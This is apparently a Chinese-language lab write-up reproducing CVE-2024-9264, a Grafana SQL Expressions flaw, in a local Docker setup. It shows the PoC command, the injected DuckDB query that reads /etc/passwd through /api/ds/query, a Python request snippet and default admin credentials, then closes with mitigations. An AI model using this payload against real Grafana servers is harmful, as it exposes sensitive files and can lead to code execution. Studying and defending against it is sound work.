参考文档 https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| 项目 | 内容 |
|---|---|
| CVE | CVE-2024-9264 |
| 目标 | Grafana (SQL Expressions) |
| 影响 | 本地文件包含(LFI)、远程代码执行(RCE) |
| 严重程度 | 严重 (CVSS 9.9) |
| 攻击条件 | 经过身份验证的用户(管理员权限) |
| 攻击方式 | 滥用 SQL Expression 功能执行 DuckDB SQL |
Grafana 是一款开源监控工具,能够将服务器、应用程序、数据库等各种数据以易于查看的图表或仪表盘形式进行可视化。
CVE-2024-9264 是 Grafana 的 SQL Expressions 功能中存在的漏洞。
由于 Grafana 内部使用的 DuckDB SQL 未经过适当验证,攻击者可以通过 SQL Expression 执行任意 DuckDB SQL。
利用该漏洞可以实现:
本实验在 Docker 环境中运行 Grafana 11.0.0,并使用 PoC 读取 /etc/passwd 文件的方式复现了该漏洞。
| 组件 | 内容 |
|---|---|
| 操作系统 | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
确认 Grafana 运行
http://localhost:3000

Grafana 的默认账户信息如下:
ID : admin
PW : admin
触发漏洞需要满足以下条件:
本实验使用了默认管理员账户(admin/admin)。
执行 PoC
为了读取本地文件,执行以下命令:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
PoC 会创建以下 SQL Expression:
SELECT * FROM read_csv_auto('/etc/passwd')
并将其发送到 Grafana 的 /api/ds/query API。
Grafana 直接执行了 SQL,并将 /etc/passwd 的内容作为响应返回。

除 /etc/passwd 文件外,也可以读取其他文件。

由此确认本地文件包含成功执行。
PoC 使用 Python 编写,执行以下步骤:
/api/ds/query)读取文件时生成的 SQL 如下:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
API 请求如下所示:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
也可以通过 curl 命令进行验证。

最有效的应对方法是将 Grafana 更新至已修复漏洞的最新版本。
禁用不必要的 SQL Expression 功能,或遵循最小权限原则限制其使用范围。
在 Docker 环境中搭建 Grafana 11.0.0 后,复现了 CVE-2024-9264 漏洞。
利用 Python 编写的 PoC,滥用 SQL Expression 功能成功读取了 /etc/passwd 文件。由此确认,如果对 SQL Expression 的输入验证不足,敏感文件可能会泄露,并且在某些环境下可能导致远程代码执行。
此类漏洞可通过升级至最新版本、限制 SQL Expressions 功能以及保护管理员账户等安全措施加以预防。